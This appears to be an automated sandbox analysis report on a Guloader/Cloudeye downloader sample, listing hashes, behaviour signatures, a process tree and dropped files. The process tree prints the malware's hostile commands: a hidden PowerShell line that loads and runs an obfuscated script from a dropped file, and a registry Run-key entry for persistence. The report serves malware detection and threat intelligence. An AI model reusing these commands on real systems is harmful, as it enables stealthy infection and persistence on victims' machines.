Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    10-07-2024 02:35

General

  • Target

    f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe

  • Size

    400KB

  • MD5

    9428d54a4aa6eb66abdca820a8f47d12

  • SHA1

    abd2a8b44ee4d5fd4cdb947600f340864dcf254f

  • SHA256

    f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd

  • SHA512

    14024233434003249a918871e81f10048f13fa2079ce5c0bb78893bfef6621d8daa64031539b2a6b4627019935ea43a8f3de9e56937b5ec8a50af08258653c80

  • SSDEEP

    12288:OGnKCJuXGUHTmuGwZyYMggzHm64P5WylOHVqZ:OGjutj/mFZylO1qZ

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe
    "C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1712
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Chemosensitivity=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Rhagadiform199.Udl';$saalbnkes=$Chemosensitivity.SubString(72809,3);.$saalbnkes($Chemosensitivity)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3052
      • C:\Program Files (x86)\windows mail\wab.exe
        "C:\Program Files (x86)\windows mail\wab.exe"
        3⤵
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of WriteProcessMemory
        PID:2572
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Offervilliges" /t REG_EXPAND_SZ /d "%Quaternary% -windowstyle minimized $Funktionslederes=(Get-ItemProperty -Path 'HKCU:\Tilstransportlvr\').Directoryet;%Quaternary% ($Funktionslederes)"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2592
          • C:\Windows\SysWOW64\reg.exe
            REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Offervilliges" /t REG_EXPAND_SZ /d "%Quaternary% -windowstyle minimized $Funktionslederes=(Get-ItemProperty -Path 'HKCU:\Tilstransportlvr\').Directoryet;%Quaternary% ($Funktionslederes)"
            5⤵
            • Adds Run key to start application
            • Modifies registry key
            PID:2568

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Rhagadiform199.Udl

    Filesize

    71KB

    MD5

    fc2223e92e3b7eb6b306e7489bc9ea76

    SHA1

    a886646121c2d0882b0f69cff28277fea465a431

    SHA256

    86fab35b54a947d4aba1fe2915a69748b51a8ee9cf9791678dcecda609d427af

    SHA512

    98ca788deef3630dbae7146d5377c44cd57a1bda8277a25170a033017f4a8b414e272d6d97e94139e306fed1e28e294a1e08d09d90fa49dc675ba5c9dda7e55e

  • C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Terzio.Pre27

    Filesize

    342KB

    MD5

    bd2cb39300237694661fcb0686d7aeec

    SHA1

    c912db66db40e04a9436c248d8ee19eaa4e2c5c7

    SHA256

    33deda6aca491470e132ec1feead0d380bd35b792f886a1cd1f1ce29e9b5b21e

    SHA512

    49ecdaa68f3d1502d947faae83da3e24cf2459c6a2576a07dcb14ab0ddc14c76b9d4874d823463e1c4ee4453764cf9c2f2930c3b4ca1513294c003bb8cf21d89

  • memory/2572-44-0x0000000001750000-0x0000000005812000-memory.dmp

    Filesize

    64.8MB

  • memory/2572-26-0x00000000006E0000-0x0000000001742000-memory.dmp

    Filesize

    16.4MB

  • memory/3052-18-0x0000000073B70000-0x000000007411B000-memory.dmp

    Filesize

    5.7MB

  • memory/3052-14-0x0000000073B70000-0x000000007411B000-memory.dmp

    Filesize

    5.7MB

  • memory/3052-11-0x0000000073B71000-0x0000000073B72000-memory.dmp

    Filesize

    4KB

  • memory/3052-15-0x0000000073B70000-0x000000007411B000-memory.dmp

    Filesize

    5.7MB

  • memory/3052-20-0x0000000073B70000-0x000000007411B000-memory.dmp

    Filesize

    5.7MB

  • memory/3052-21-0x0000000006520000-0x000000000A5E2000-memory.dmp

    Filesize

    64.8MB

  • memory/3052-22-0x0000000073B70000-0x000000007411B000-memory.dmp

    Filesize

    5.7MB

  • memory/3052-13-0x0000000073B70000-0x000000007411B000-memory.dmp

    Filesize

    5.7MB

  • memory/3052-12-0x0000000073B70000-0x000000007411B000-memory.dmp

    Filesize

    5.7MB